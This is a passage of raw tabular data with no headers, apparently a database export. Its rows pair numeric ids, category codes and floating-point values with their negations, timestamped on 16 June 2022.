11:50:07.042552+00 +27215,2,9344,5.048167476,-5.048167476,2022-06-16 11:53:04.575533+00 +30906,3,9645,8.212100792,-8.212100792,2022-06-16 12:10:30.77429+00 +34691,4,10557,3.510555289,-3.510555289,2022-06-16 12:30:09.859912+00 +30919,1,9951,7.35132686,-7.35132686,2022-06-16 12:10:38.190746+00 +30920,1,9966,5.77405244,-5.77405244,2022-06-16 12:10:38.191769+00 +26026,3,9327,15.62407381,-15.62407381,2022-06-16 11:50:07.18489+00 +30921,1,9967,5.785263826,-5.785263826,2022-06-16 12:10:38.192601+00 +30922,1,9950,7.388963183,-7.388963183,2022-06-16 12:10:38.1934+00 +29006,3,9646,14.96769157,-14.96769157,2022-06-16 12:00:53.568003+00 +27378,1,9320,17.73313243,-17.73313243,2022-06-16 11:53:53.122303+00 +27379,1,9256,17.6730802,-17.6730802,2022-06-16 11:53:53.125752+00 +34730,4,10615,11.88706679,-11.88706679,2022-06-16 12:30:12.747971+00 +30960,1,9912,8.806592195,-8.806592195,2022-06-16 12:10:47.188756+00 +26034,6,9309,8.342905506,-8.342905506,2022-06-16 11:50:07.424387+00 +34751,1,10581,13.69070892,-13.69070892,2022-06-16 12:30:17.347578+00 +34752,1,10283,3.699851037,-3.699851037,2022-06-16 12:30:17.348923+00 +30998,2,9904,1.585749447,0,2022-06-16 12:11:04.462366+00 +34753,1,10589,10.63210796,-10.63210796,2022-06-16 12:30:17.349734+00 +34754,1,10475,3.690280362,-3.690280362,2022-06-16 12:30:17.350553+00 +34755,1,10347,3.680746637,-3.680746637,2022-06-16 12:30:17.351351+00 +29152,2,9579,6.698080372,-6.698080372,2022-06-16 12:01:14.536647+00 +34756,1,10621,3.993811872,-3.993811872,2022-06-16 12:30:17.352095+00 +34757,1,10411,3.671249657,-3.671249657,2022-06-16 12:30:17.352822+00 +34781,4,10547,9.909851795,-9.909851795,2022-06-16 12:30:20.771434+00 +33180,6,10283,4.948800253,-4.948800253,2022-06-16 12:22:11.932695+00 +33224,4,10168,8.394574664,-8.394574664,2022-06-16 12:22:24.040146+00 +34782,4,10539,2.177612557,-2.177612557,2022-06-16 12:30:20.77254+00 +27697,6,9471,8.418300787,-8.418300787,2022-06-16 11:54:32.394662+00 +34783,4,10507,12.12691338,-12.12691338,2022-06-16 12:30:20.773296+00 +26050,4,9277,5.277237745,-5.277237745,2022-06-16 11:50:09.549059+00 +26051,4,9261,5.126647708,-5.126647708,2022-06-16 11:50:09.552476+00 +29289,1,9625,8.853733509,-8.853733509,2022-06-16 12:02:08.164622+00 +29290,1,9641,8.742064368,-8.742064368,2022-06-16 12:02:08.167808+00 +29291,1,9657,8.730054451,-8.730054451,2022-06-16 12:02:08.168628+00 +27765,2,9450,7.839087032,-7.839087032,2022-06-16 11:54:51.945176+00 +31221,4,9999,16.89341137,-16.89341137,2022-06-16 12:12:17.837047+00 +34784,4,10523,4.425721278,-4.425721278,2022-06-16 12:30:20.774055+00 +27807,2,9438,8.221524431,-8.221524431,2022-06-16 11:55:04.713442+00 +29358,2,9661,6.046331634,-6.046331634,2022-06-16 12:02:24.569404+00 +31265,3,9963,11.15268316,-11.15268316,2022-06-16 12:12:21.489388+00 +34785,4,10555,1.850299806,-1.850299806,2022-06-16 12:30:20.774826+00 +31283,3,9725,8.318152922,-8.318152922,2022-06-16 12:12:29.93942+00 +27858,6,9403,5.403065752,-5.403065752,2022-06-16 11:55:05.843191+00 +34786,2,10602,6.003435428,-6.003435428,2022-06-16 12:30:21.847303+00 +42640,2,11887,4.274743238,-4.274743238,2022-06-16 13:11:05.423225+00 +26066,4,9215,5.576555095,-5.576555095,2022-06-16 11:50:11.079657+00 +26067,4,9279,5.55917489,-5.55917489,2022-06-16 11:50:11.083009+00 +26068,4,9343,5.541878788,-5.541878788,2022-06-16 11:50:11.083919+00 +26069,4,9327,7.207854983,-7.207854983,2022-06-16 11:50:11.084745+00 +26070,4,9311,8.071636188,-8.071636188,2022-06-16 11:50:11.085542+00 +29424,1,9632,6.646896927,-6.646896927,2022-06-16 12:02:38.136399+00 +29425,1,9664,2.189371835,-2.189371835,2022-06-16 12:02:38.140126+00 +29426,1,9624,10.00237092,-10.00237092,2022-06-16 12:02:38.141068+00 +29427,1,9648,0.687029089,0,2022-06-16 12:02:38.141913+00 +29428,1,9656,9.038787333,-9.038787333,2022-06-16 12:02:38.142739+00 +29440,6,9664,5.329464057,-5.329464057,2022-06-16 12:02:39.697354+00 +52684,6,13661,4.895138571,-4.895138571,2022-06-16 14:06:12.312583+00 +31381,2,9984,4.587337002,-4.587337002,2022-06-16 12:13:04.625956+00 +37384,2,11008,4.046893174,-4.046893174,2022-06-16 12:45:04.695329+00 +31399,2,10014,7.901929939,-7.901929939,2022-06-16 12:13:05.040531+00 +29506,2,9711,7.184475881,-7.184475881,2022-06-16 12:03:04.995824+00 +31418,2,10047,5.051790331,-5.051790331,2022-06-16 12:13:05.47017+00 +31432,1,9914,17.18316428,-17.18316428,2022-06-16 12:13:11.238896+00 +31433,1,9961,8.541963463,-8.541963463,2022-06-16 12:13:11.240022+00 +31434,1,9897,8.513664479,-8.513664479,2022-06-16 12:13:11.240743+00 +31435,1,9881,8.615719446,-8.615719446,2022-06-16 12:13:11.241423+00 +29560,3,9711,14.90127044,-14.90127044,2022-06-16 12:03:15.780215+00 +31436,1,9945,8.587125388,-8.587125388,2022-06-16 12:13:11.242091+00 +31437,1,9977,8.495341628,-8.495341628,2022-06-16 12:13:11.242838+00 +31438,1,9913,8.467322145,-8.467322145,2022-06-16 12:13:11.24342+00 +31439,1,9882,17.3046073,-17.3046073,2022-06-16 12:13:11.244003+00 +40057,2,11456,3.743092742,-3.743092742,2022-06-16 12:59:04.852424+00 +29607,3,9728,7.358210496,-7.358210496,2022-06-16 12:03:31.05986+00 +37495,3,11003,8.431193462,-8.431193462,2022-06-16 12:45:39.781009+00 +33611,1,10389,13.81209126,-13.81209126,2022-06-16 12:24:32.298787+00 +33612,1,10344,16.69037423,-16.69037423,2022-06-16 12:24:32.302007+00 +56728,7,14319,17.34191413,-17.34191413,2022-06-16 14:28:41.639158+00 +35136,6,10645,9.79876054,-9.79876054,2022-06-16 12:32:25.607505+00 +26101,6,9325,3.588548016,-3.588548016,2022-06-16 11:50:14.036035+00 +43002,6,11934,10.64949763,-10.64949763,2022-06-16 13:12:37.675533+00 +26103,1,9241,9.248181908,-9.248181908,2022-06-16 11:50:14.106387+00 +26104,1,9273,9.132197572,-9.132197572,2022-06-16 11:50:14.109804+00 +26105,1,9265,9.292025934,-9.292025934,2022-06-16 11:50:14.110661+00 +26106,1,9257,9.10512037,-9.10512037,2022-06-16 11:50:14.111492+00 +37015,2,10944,4.071161865,-4.071161865,2022-06-16 12:43:04.735701+00 +34609,3,10559,11.20511688,-11.20511688,2022-06-16 12:30:04.02483+00 +45859,6,12429,11.40152269,-11.40152269,2022-06-16 13:28:43.36693+00 +32503,6,10222,8.948406312,-8.948406312,2022-06-16 12:18:47.739818+00 +34731,6,10623,6.265664704,-6.265664704,2022-06-16 12:30:12.756246+00 +34775,1,10560,1.715456302,-1.715456302,2022-06-16 12:30:20.347353+00 +34776,1,10529,8.843125498,-8.843125498,2022-06-16 12:30:20.348572+00 +30523,6,9898,10.39496963,-10.39496963,2022-06-16 12:08:23.055994+00 +34777,1,10544,0.612394984,0,2022-06-16 12:30:20.349353+00 +34778,1,10521,7.990904641,-7.990904641,2022-06-16 12:30:20.350112+00 +34779,1,10553,7.889680438,-7.889680438,2022-06-16 12:30:20.35088+00 +30665,6,9919,7.45214018,-7.45214018,2022-06-16 12:09:05.544456+00 +34780,1,10537,7.87921775,-7.87921775,2022-06-16 12:30:20.351708+00 +28673,3,9584,2.636325486,0,2022-06-16 11:59:11.860608+00 +28697,3,9453,8.742668102,-8.742668102,2022-06-16 11:59:20.84201+00 +32852,4,10270,7.460236847,-7.460236847,2022-06-16 12:20:29.904036+00 +42806,1,11800,7.627636133,-7.627636133,2022-06-16 13:11:35.604078+00 +32934,2,10271,8.160244555,-8.160244555,2022-06-16 12:21:04.944536+00 +39928,2,11453,5.057008535,-5.057008535,2022-06-16 12:58:24.537359+00 +27135,6,9373,8.230852986,-8.230852986,2022-06-16 11:52:38.899027+00 +49056,2,13055,2.604051515,-2.604051515,2022-06-16 13:47:05.969043+00 +30832,1,9920,2.06844899,-2.06844899,2022-06-16 12:10:11.220087+00 +30833,1,9904,0.664879378,0,2022-06-16 12:10:11.224986+00 +40059,2,11486,7.865287527,-7.865287527,2022-06-16 12:59:04.878901+00 +33033,3,10288,2.641001161,0,2022-06-16 12:21:57.468045+00 +28872,6,9613,13.78171375,-13.78171375,2022-06-16 12:00:03.550847+00 +52816,1,13663,6.490537446,-6.490537446,2022-06-16 14:07:02.840956+00 +35056,3,10623,11.0587381,-11.0587381,2022-06-16 12:32:05.12597+00 +35088,4,10624,1.746867705,-1.746867705,2022-06-16 12:32:07.763552+00 +28977,6,9630,12.32527623,-12.32527623,2022-06-16 12:00:30.298343+00 +35089,4,10622,3.945080599,-3.945080599,2022-06-16 12:32:07.767098+00 +35090,4,10686,3.934594115,-3.934594115,2022-06-16 12:32:07.767969+00 +29043,6,9621,11.19929826,-11.19929826,2022-06-16 12:00:56.844308+00 +46113,4,12467,9.178864302,-9.178864302,2022-06-16 13:30:22.832021+00 +29076,6,9663,7.986622645,-7.986622645,2022-06-16 12:01:00.298235+00 +46114,4,12459,1.281050747,-1.281050747,2022-06-16 13:30:22.836144+00 +35179,6,10685,2.470951994,-2.470951994,2022-06-16 12:32:34.857368+00 +29103,7,9578,10.04472344,-10.04472344,2022-06-16 12:01:04.866986+00 +27577,2,9405,6.188013832,-6.188013832,2022-06-16 11:54:24.442732+00 +31125,7,9834,9.468066979,-9.468066979,2022-06-16 12:12:02.763555+00 +37723,2,11072,4.006089554,-4.006089554,2022-06-16 12:47:04.736534+00 +46115,4,12427,13.11647939,-13.11647939,2022-06-16 13:30:22.837022+00 +37771,2,11067,5.091749424,-5.091749424,2022-06-16 12:47:14.593984+00 +43358,1,12013,2.743596304,-2.743596304,2022-06-16 13:14:14.575973+00 +43359,1,12029,3.170177365,-3.170177365,2022-06-16 13:14:14.579495+00 +27680,6,9455,10.63360827,-10.63360827,2022-06-16 11:54:31.963819+00 +33527,6,10413,2.632955452,-2.632955452,2022-06-16 12:24:06.670428+00 +40449,2,11520,3.718983445,-3.718983445,2022-06-16 13:01:04.852947+00 +43360,1,11997,9.92790554,-9.92790554,2022-06-16 13:14:14.580336+00 +33651,6,10363,4.238054889,-4.238054889,2022-06-16 12:24:46.913976+00 +43412,1,11939,20.65329386,-20.65329386,2022-06-16 13:14:23.57782+00 +27766,1,9394,17.19459903,-17.19459903,2022-06-16 11:54:53.109079+00 +27767,1,9370,18.14657395,-18.14657395,2022-06-16 11:54:53.112426+00 +27768,1,9402,18.17080804,-18.17080804,2022-06-16 11:54:53.113289+00 +29292,4,9597,4.726446269,-4.726446269,2022-06-16 12:02:09.257835+00 +29293,4,9661,4.71166914,-4.71166914,2022-06-16 12:02:09.261589+00 +29294,4,9581,4.586668339,-4.586668339,2022-06-16 12:02:09.262493+00 +27820,2,9454,7.185569818,-7.185569818,2022-06-16 11:55:05.060013+00 +29295,4,9645,4.572470266,-4.572470266,2022-06-16 12:02:09.263309+00 +38005,6,11120,1.891908776,0,2022-06-16 12:48:23.992675+00 +27849,2,9471,5.862310204,-5.862310204,2022-06-16 11:55:05.502767+00 +27859,7,9194,10.50332087,-10.50332087,2022-06-16 11:55:06.031081+00 +29332,4,9595,2.519053529,-2.519053529,2022-06-16 12:02:20.37945+00 +29333,4,9659,2.514708449,-2.514708449,2022-06-16 12:02:20.382852+00 +29334,4,9579,2.635193316,-2.635193316,2022-06-16 12:02:20.383733+00 +29335,4,9643,2.630571728,-2.630571728,2022-06-16 12:02:20.384648+00 +29336,4,9523,10.45594144,-10.45594144,2022-06-16 12:02:20.385465+00 +29337,4,9587,10.42237961,-10.42237961,2022-06-16 12:02:20.386665+00 +29338,4,9651,10.38897705,-10.38897705,2022-06-16 12:02:20.387541+00 +29339,4,9483,12.6722731,-12.6722731,2022-06-16 12:02:20.388216+00 +29340,4,9547,12.62986684,-12.62986684,2022-06-16 12:02:20.388997+00 +29341,4,9611,12.58765229,-12.58765229,2022-06-16 12:02:20.389712+00 +43441,1,11956,13.89460986,-13.89460986,2022-06-16 13:14:29.576866+00 +35530,4,10742,12.01944464,-12.01944464,2022-06-16 12:34:20.972686+00 +46116,4,12443,4.290941138,-4.290941138,2022-06-16 13:30:22.837918+00 +43467,3,11709,6.637720555,-6.637720555,2022-06-16 13:14:37.054014+00 +46160,3,12205,5.489494963,-5.489494963,2022-06-16 13:30:35.672862+00 +35642,2,10750,4.237286766,-4.237286766,2022-06-16 12:35:05.148617+00 +46177,4,12473,10.90406166,-10.90406166,2022-06-16 13:30:44.789738+00 +46178,4,12441,10.99301857,-10.99301857,2022-06-16 13:30:44.79088+00 +35719,4,10520,9.045120753,-9.045120753,2022-06-16 12:35:15.352971+00 +40803,6,11563,3.820231604,-3.820231604,2022-06-16 13:02:44.283395+00 +56729,3,14061,3.233885925,0,2022-06-16 14:28:43.403967+00 +33994,2,10474,6.196059799,-6.196059799,2022-06-16 12:26:49.296171+00 +34012,6,10478,8.395195197,-8.395195197,2022-06-16 12:26:55.578506+00 +49335,1,13024,4.685198982,-4.685198982,2022-06-16 13:48:35.77186+00 +34029,6,10495,6.424263329,-6.424263329,2022-06-16 12:26:56.109775+00 +38418,4,11193,13.49335526,-13.49335526,2022-06-16 12:51:04.142524+00 +38419,4,11177,13.46605722,-13.46605722,2022-06-16 12:51:04.145963+00 +40908,4,11569,13.41913431,-13.41913431,2022-06-16 13:03:07.654526+00 +49342,3,12781,4.651031571,-4.651031571,2022-06-16 13:48:38.106397+00 +35881,2,10749,5.428455615,-5.428455615,2022-06-16 12:36:24.402979+00 +34101,1,10463,6.988651396,-6.988651396,2022-06-16 12:27:08.298347+00 +31681,6,10027,5.013443809,-5.013443809,2022-06-16 12:14:27.589004+00 +29608,6,9706,10.85383195,-10.85383195,2022-06-16 12:03:36.405674+00 +34102,1,10479,5.060058276,-5.060058276,2022-06-16 12:27:08.299711+00 +31700,3,9789,8.186383668,-8.186383668,2022-06-16 12:14:30.129239+00 +31704,1,10016,6.321094095,-6.321094095,2022-06-16 12:14:32.239854+00 +31705,1,10048,1.973866496,-1.973866496,2022-06-16 12:14:32.241119+00 +31706,1,10109,4.389373447,-4.389373447,2022-06-16 12:14:32.241901+00 +31707,1,10040,8.629517736,-8.629517736,2022-06-16 12:14:32.242679+00 +31708,1,10093,4.264027751,-4.264027751,2022-06-16 12:14:32.243414+00 +31709,1,10024,16.88121404,-16.88121404,2022-06-16 12:14:32.244156+00 +31710,1,10032,0.649245738,0,2022-06-16 12:14:32.244811+00 +35900,6,10781,7.173955753,-7.173955753,2022-06-16 12:36:27.43962+00 +31720,4,9976,8.514713477,-8.514713477,2022-06-16 12:14:53.392067+00 +34132,2,10427,5.723943902,-5.723943902,2022-06-16 12:27:14.44511+00 +34146,6,10411,4.850723949,-4.850723949,2022-06-16 12:27:21.235167+00 +35901,4,10707,7.470168672,-7.470168672,2022-06-16 12:36:29.035805+00 +56751,1,14304,4.102205284,-4.102205284,2022-06-16 14:28:50.983135+00 +34171,4,10410,8.664702878,-8.664702878,2022-06-16 12:27:29.655408+00 +35915,1,10746,15.28377647,-15.28377647,2022-06-16 12:36:35.402451+00 +29686,4,9774,6.366547933,-6.366547933,2022-06-16 12:04:07.567575+00 +29687,4,9758,7.746928768,-7.746928768,2022-06-16 12:04:07.571286+00 +29688,4,9790,4.930574894,-4.930574894,2022-06-16 12:04:07.572161+00 +29689,4,9728,2.078921688,-2.078921688,2022-06-16 12:04:07.572906+00 +29690,4,9712,0.641060279,0,2022-06-16 12:04:07.573708+00 +34467,2,10543,5.767327526,-5.767327526,2022-06-16 12:29:05.552544+00 +26115,2,9334,11.76910367,-11.76910367,2022-06-16 11:50:14.432719+00 +30153,2,9789,5.95302292,-5.95302292,2022-06-16 12:06:19.44653+00 +28126,6,9451,5.69354959,-5.69354959,2022-06-16 11:56:23.002755+00 +26520,6,9311,12.13149019,-12.13149019,2022-06-16 11:51:16.019357+00 +28153,1,9450,11.57942794,-11.57942794,2022-06-16 11:56:29.08206+00 +28195,2,9453,5.938546596,-5.938546596,2022-06-16 11:56:54.445545+00 +30180,6,9834,10.49774273,-10.49774273,2022-06-16 12:06:39.580954+00 +30207,1,9787,3.815821564,-3.815821564,2022-06-16 12:06:53.187436+00 +30225,2,9792,4.736538983,-4.736538983,2022-06-16 12:07:04.581195+00 +34479,4,10328,9.210655161,-9.210655161,2022-06-16 12:29:10.112757+00 +34532,3,10347,10.74705697,-10.74705697,2022-06-16 12:29:32.967439+00 +34533,3,10411,10.67521546,-10.67521546,2022-06-16 12:29:32.970914+00 +32433,6,10171,4.497270212,-4.497270212,2022-06-16 12:18:19.64278+00 +26865,6,9328,1.77454775,0,2022-06-16 11:52:09.495926+00 +28534,3,9599,12.51142449,-12.51142449,2022-06-16 11:58:34.226044+00 +28570,3,9387,12.03745216,-12.03745216,2022-06-16 11:58:57.539601+00 +28571,3,9451,11.95532025,-11.95532025,2022-06-16 11:58:57.543035+00 +28572,3,9515,11.87387777,-11.87387777,2022-06-16 11:58:57.543899+00 +34534,3,10475,10.60397676,-10.60397676,2022-06-16 12:29:32.971752+00 +28636,2,9599,5.670402759,-5.670402759,2022-06-16 11:59:05.430885+00 +28637,4,9591,12.02587882,-12.02587882,2022-06-16 11:59:05.717327+00 +28638,4,9590,11.65602372,-11.65602372,2022-06-16 11:59:05.718959+00 +27109,6,9365,11.59636447,-11.59636447,2022-06-16 11:52:36.004446+00 +34610,4,10392,9.160165743,-9.160165743,2022-06-16 12:30:04.343112+00 +37017,2,10974,8.043270304,-8.043270304,2022-06-16 12:43:04.767122+00 +30524,1,9834,10.07922485,-10.07922485,2022-06-16 12:08:23.218083+00 +28698,3,9517,8.694631994,-8.694631994,2022-06-16 11:59:21.023648+00 +30564,6,9902,9.949101227,-9.949101227,2022-06-16 12:08:45.137246+00 +52482,2,13615,3.0334899,-3.0334899,2022-06-16 14:05:05.658788+00 +52483,2,13630,2.362505108,-2.362505108,2022-06-16 14:05:05.662135+00 +37161,6,10666,8.20306685,-8.20306685,2022-06-16 12:43:53.604619+00 +30667,1,9816,9.835248974,-9.835248974,2022-06-16 12:09:08.215953+00 +34864,2,10606,5.549388458,-5.549388458,2022-06-16 12:31:05.088554+00 +27355,3,9390,15.46723259,-15.46723259,2022-06-16 11:53:49.505888+00 +34865,2,10607,5.663157218,-5.663157218,2022-06-16 12:31:05.091976+00 +45860,4,12393,11.01364535,-11.01364535,2022-06-16 13:28:45.281943+00 +42807,7,11818,6.829998154,-6.829998154,2022-06-16 13:11:41.044119+00 +39929,4,11411,7.119166799,-7.119166799,2022-06-16 12:58:29.272816+00 +37387,2,11038,8.098756692,-8.098756692,2022-06-16 12:45:04.754032+00 +45861,4,12401,11.73558471,-11.73558471,2022-06-16 13:28:45.285386+00 +27499,3,9389,8.800245714,-8.800245714,2022-06-16 11:54:18.14536+00 +28949,2,9597,6.072097157,-6.072097157,2022-06-16 12:00:19.522156+00 +43087,2,11904,3.77999732,-3.77999732,2022-06-16 13:13:04.900573+00 +30946,6,9967,9.268814889,-9.268814889,2022-06-16 12:10:41.943573+00 +35187,7,10602,8.282000566,-8.282000566,2022-06-16 12:32:49.101604+00 +33229,2,10301,5.600454706,-5.600454706,2022-06-16 12:22:24.416299+00 +35225,4,10400,6.162239205,-6.162239205,2022-06-16 12:33:03.315895+00 +40164,1,11416,8.016861579,-8.016861579,2022-06-16 12:59:41.546235+00 +27663,6,9439,11.99579022,-11.99579022,2022-06-16 11:54:31.466619+00 +33347,6,10350,8.651184972,-8.651184972,2022-06-16 12:23:15.094806+00 +35295,2,10666,5.895171228,-5.895171228,2022-06-16 12:33:22.94336+00 +31127,3,10046,11.91803819,-11.91803819,2022-06-16 12:12:03.933397+00 +46117,1,12459,1.955912622,-1.955912622,2022-06-16 13:30:23.636335+00 +46118,1,12527,3.28369956,-3.28369956,2022-06-16 13:30:23.639741+00 +27769,1,9403,4.150618366,-4.150618366,2022-06-16 11:54:59.115526+00 +43361,4,12023,10.79170852,-10.79170852,2022-06-16 13:14:14.971522+00 +31193,4,9981,4.280425896,-4.280425896,2022-06-16 12:12:08.402126+00 +31194,4,9965,4.157487276,-4.157487276,2022-06-16 12:12:08.405772+00 +31223,6,9984,5.208750916,-5.208750916,2022-06-16 12:12:17.883294+00 +43362,4,12022,11.38961106,-11.38961106,2022-06-16 13:14:14.972536+00 +43363,4,11999,6.286154592,-6.286154592,2022-06-16 13:14:14.973193+00 +29342,2,9706,7.433697755,-7.433697755,2022-06-16 12:02:22.216956+00 +31264,4,9979,2.224282503,-2.224282503,2022-06-16 12:12:21.149746+00 +33528,4,10368,1.870840929,-1.870840929,2022-06-16 12:24:07.695373+00 +29378,7,9642,9.982386955,-9.982386955,2022-06-16 12:02:28.075115+00 +29388,6,9694,12.27098844,-12.27098844,2022-06-16 12:02:36.331814+00 +31279,1,10031,5.725617353,-5.725617353,2022-06-16 12:12:29.237447+00 +31280,1,10014,7.344343757,-7.344343757,2022-06-16 12:12:29.23874+00 +27928,7,9130,10.45433263,-10.45433263,2022-06-16 11:55:30.222021+00 +31281,1,10015,7.302837952,-7.302837952,2022-06-16 12:12:29.239539+00 +31282,1,10030,5.677498939,-5.677498939,2022-06-16 12:12:29.240346+00 +31302,3,10031,14.25120655,-14.25120655,2022-06-16 12:12:39.790993+00 +29442,6,9725,3.262290236,-3.262290236,2022-06-16 12:02:41.489975+00 +29456,4,9719,11.97021373,-11.97021373,2022-06-16 12:02:48.927838+00 +29457,4,9718,11.59589489,-11.59589489,2022-06-16 12:02:48.929372+00 +29458,4,9642,10.08027612,-10.08027612,2022-06-16 12:02:48.93043+00 +33529,4,10352,0.633894916,0,2022-06-16 12:24:07.698951+00 +33530,4,10430,4.200249103,-4.200249103,2022-06-16 12:24:07.69996+00 +33531,4,10414,5.354639276,-5.354639276,2022-06-16 12:24:07.700765+00 +33532,4,10398,7.380130515,-7.380130515,2022-06-16 12:24:07.701639+00 +43364,4,11933,7.831788216,-7.831788216,2022-06-16 13:14:14.973885+00 +43365,4,11917,14.12345362,-14.12345362,2022-06-16 13:14:14.974593+00 +33653,6,10397,7.562135696,-7.562135696,2022-06-16 12:24:47.56556+00 +31443,1,9978,17.08506149,-17.08506149,2022-06-16 12:13:14.23947+00 +31444,1,9946,17.18542469,-17.18542469,2022-06-16 12:13:14.243225+00 +38061,2,11166,8.049694926,-8.049694926,2022-06-16 12:49:04.766029+00 +43366,4,11965,2.348062098,-2.348062098,2022-06-16 13:14:14.975286+00 +43367,4,11949,2.022425527,-2.022425527,2022-06-16 13:14:14.975872+00 +43368,4,12031,2.342402396,-2.342402396,2022-06-16 13:14:14.976463+00 +43369,4,11991,13.85767693,-13.85767693,2022-06-16 13:14:14.977058+00 +29609,7,9392,7.821078528,0,2022-06-16 12:03:46.531725+00 +29610,7,9456,7.79020457,0,2022-06-16 12:03:46.535026+00 +29611,7,9520,7.759668316,0,2022-06-16 12:03:46.535901+00 +29612,7,9584,7.729463224,0,2022-06-16 12:03:46.536688+00 +29613,7,9648,7.699582941,0,2022-06-16 12:03:46.537442+00 +29614,7,9712,7.670021295,0,2022-06-16 12:03:46.538288+00 +35674,4,10537,15.19210194,-15.19210194,2022-06-16 12:35:07.506098+00 +33823,6,10282,9.151261366,-9.151261366,2022-06-16 12:25:44.93275+00 +35675,4,10601,15.11646062,-15.11646062,2022-06-16 12:35:07.506782+00 +35676,4,10665,15.0412486,-15.0412486,2022-06-16 12:35:07.507435+00 +35677,4,10393,15.2874979,-15.2874979,2022-06-16 12:35:07.508053+00 +35678,4,10457,15.21185459,-15.21185459,2022-06-16 12:35:07.508785+00 +35679,4,10521,15.13663536,-15.13663536,2022-06-16 12:35:07.509464+00 +35680,4,10585,15.06183973,-15.06183973,2022-06-16 12:35:07.510147+00 +31602,6,10048,5.154242654,-5.154242654,2022-06-16 12:14:07.449994+00 +35681,4,10649,14.98746714,-14.98746714,2022-06-16 12:35:07.510826+00 +35703,6,10683,4.004892771,-4.004892771,2022-06-16 12:35:09.584714+00 +31642,6,10110,7.553360707,-7.553360707,2022-06-16 12:14:14.792464+00 +35705,4,10481,15.60063744,-15.60063744,2022-06-16 12:35:12.538071+00 +35706,4,10545,15.52441008,-15.52441008,2022-06-16 12:35:12.53914+00 +31667,2,10045,5.800760545,-5.800760545,2022-06-16 12:14:24.435155+00 +29682,3,9791,12.22830465,-12.22830465,2022-06-16 12:04:06.02741+00 +31674,6,10003,14.14640332,-14.14640332,2022-06-16 12:14:27.375237+00 +35707,4,10609,15.44859583,-15.44859583,2022-06-16 12:35:12.539856+00 +35708,4,10673,15.37319453,-15.37319453,2022-06-16 12:35:12.540535+00 +35731,4,10666,8.311857468,-8.311857468,2022-06-16 12:35:28.023784+00 +32186,2,10174,4.790098322,-4.790098322,2022-06-16 12:17:05.30231+00 +30154,4,9779,10.25969076,-10.25969076,2022-06-16 12:06:19.538881+00 +30155,4,9787,2.354958653,-2.354958653,2022-06-16 12:06:19.542438+00 +28196,4,9450,10.5465173,-10.5465173,2022-06-16 11:56:55.323888+00 +30156,4,9739,12.40948958,-12.40948958,2022-06-16 12:06:19.543339+00 +30157,4,9755,4.548278453,-4.548278453,2022-06-16 12:06:19.544248+00 +30161,4,9747,8.273210394,-8.273210394,2022-06-16 12:06:27.60025+00 +34468,1,10525,10.71896121,-10.71896121,2022-06-16 12:29:08.3238+00 +39647,1,11380,15.53960287,-15.53960287,2022-06-16 12:57:05.491188+00 +37094,2,10939,5.223254016,-5.223254016,2022-06-16 12:43:14.527296+00 +28495,2,9517,6.002604863,-6.002604863,2022-06-16 11:58:19.411354+00 +28535,1,9498,17.84266244,-17.84266244,2022-06-16 11:58:35.158621+00 +28536,1,9530,17.91513512,-17.91513512,2022-06-16 11:58:35.162014+00 +30406,3,9854,12.20670783,-12.20670783,2022-06-16 12:07:55.931062+00 +32438,4,10139,4.432383661,-4.432383661,2022-06-16 12:18:23.560577+00 +32455,1,10154,8.821147996,-8.821147996,2022-06-16 12:18:32.242809+00 +32456,1,10146,16.40140952,-16.40140952,2022-06-16 12:18:32.24414+00 +30525,3,9597,8.551455091,-8.551455091,2022-06-16 12:08:29.300952+00 +26142,6,9341,3.69300865,-3.69300865,2022-06-16 11:50:16.365787+00 +28724,3,9600,7.535732706,-7.535732706,2022-06-16 11:59:22.754076+00 +32457,1,10170,16.44775966,-16.44775966,2022-06-16 12:18:32.244948+00 +32458,1,10138,16.52884017,-16.52884017,2022-06-16 12:18:32.245726+00 +30606,2,9856,4.677890438,-4.677890438,2022-06-16 12:09:04.599243+00 +37225,3,11054,12.18650348,-12.18650348,2022-06-16 12:44:05.898174+00 +27219,2,9374,8.260135355,-8.260135355,2022-06-16 11:53:04.66936+00 +30638,2,9887,8.367430335,-8.367430335,2022-06-16 12:09:05.142633+00 +30640,2,9903,6.800487147,-6.800487147,2022-06-16 12:09:05.146221+00 +27271,2,9339,6.906562029,-6.906562029,2022-06-16 11:53:19.468218+00 +34734,6,10605,2.460286959,-2.460286959,2022-06-16 12:30:14.325642+00 +32569,2,10222,6.009871283,-6.009871283,2022-06-16 12:19:05.007796+00 +30697,3,9810,20.12937573,-20.12937573,2022-06-16 12:09:31.807174+00 +45737,6,12445,5.82405098,-5.82405098,2022-06-16 13:28:04.428459+00 +32618,2,10171,5.988789749,-5.988789749,2022-06-16 12:19:14.440088+00 +28950,3,9490,20.15727407,-20.15727407,2022-06-16 12:00:19.675384+00 +45792,4,12463,2.645094646,-2.645094646,2022-06-16 13:28:11.375488+00 +42808,1,11828,14.19539761,-14.19539761,2022-06-16 13:11:44.600648+00 +37449,2,11003,5.158433091,-5.158433091,2022-06-16 12:45:14.437688+00 +32797,2,10237,5.641662509,-5.641662509,2022-06-16 12:20:19.401773+00 +30865,6,9965,2.981252869,-2.981252869,2022-06-16 12:10:17.569109+00 +39930,3,11181,6.585683817,-6.585683817,2022-06-16 12:58:31.899685+00 +45793,4,12479,2.045963718,-2.045963718,2022-06-16 13:28:11.376984+00 +29097,2,9630,8.158758906,-8.158758906,2022-06-16 12:01:04.736324+00 +30947,6,9962,10.23177292,-10.23177292,2022-06-16 12:10:41.956862+00 +30974,6,9920,5.236900175,-5.236900175,2022-06-16 12:10:51.403418+00 +45794,4,12439,13.36398917,-13.36398917,2022-06-16 13:28:11.377873+00 +45795,4,12438,13.98139881,-13.98139881,2022-06-16 13:28:11.379068+00 +35092,4,10573,15.52564839,-15.52564839,2022-06-16 12:32:10.546187+00 +35093,4,10605,3.348599732,-3.348599732,2022-06-16 12:32:10.549502+00 +29205,4,9614,17.29831158,-17.29831158,2022-06-16 12:01:41.853112+00 +29206,4,9623,15.60158301,-15.60158301,2022-06-16 12:01:41.856632+00 +29207,4,9622,16.41717713,-16.41717713,2022-06-16 12:01:41.857499+00 +31047,2,9915,6.152394803,-6.152394803,2022-06-16 12:11:14.434224+00 +29238,3,9726,12.44169715,-12.44169715,2022-06-16 12:02:04.194107+00 +26177,1,9274,18.69756428,-18.69756428,2022-06-16 11:50:20.100566+00 +26178,1,9266,17.64128234,-17.64128234,2022-06-16 11:50:20.103824+00 +26179,1,9242,18.58889016,-18.58889016,2022-06-16 11:50:20.104784+00 +26180,1,9258,12.36795201,-12.36795201,2022-06-16 11:50:20.105533+00 +35094,4,10589,9.538308863,-9.538308863,2022-06-16 12:32:10.550339+00 +35095,4,10621,3.443706682,-3.443706682,2022-06-16 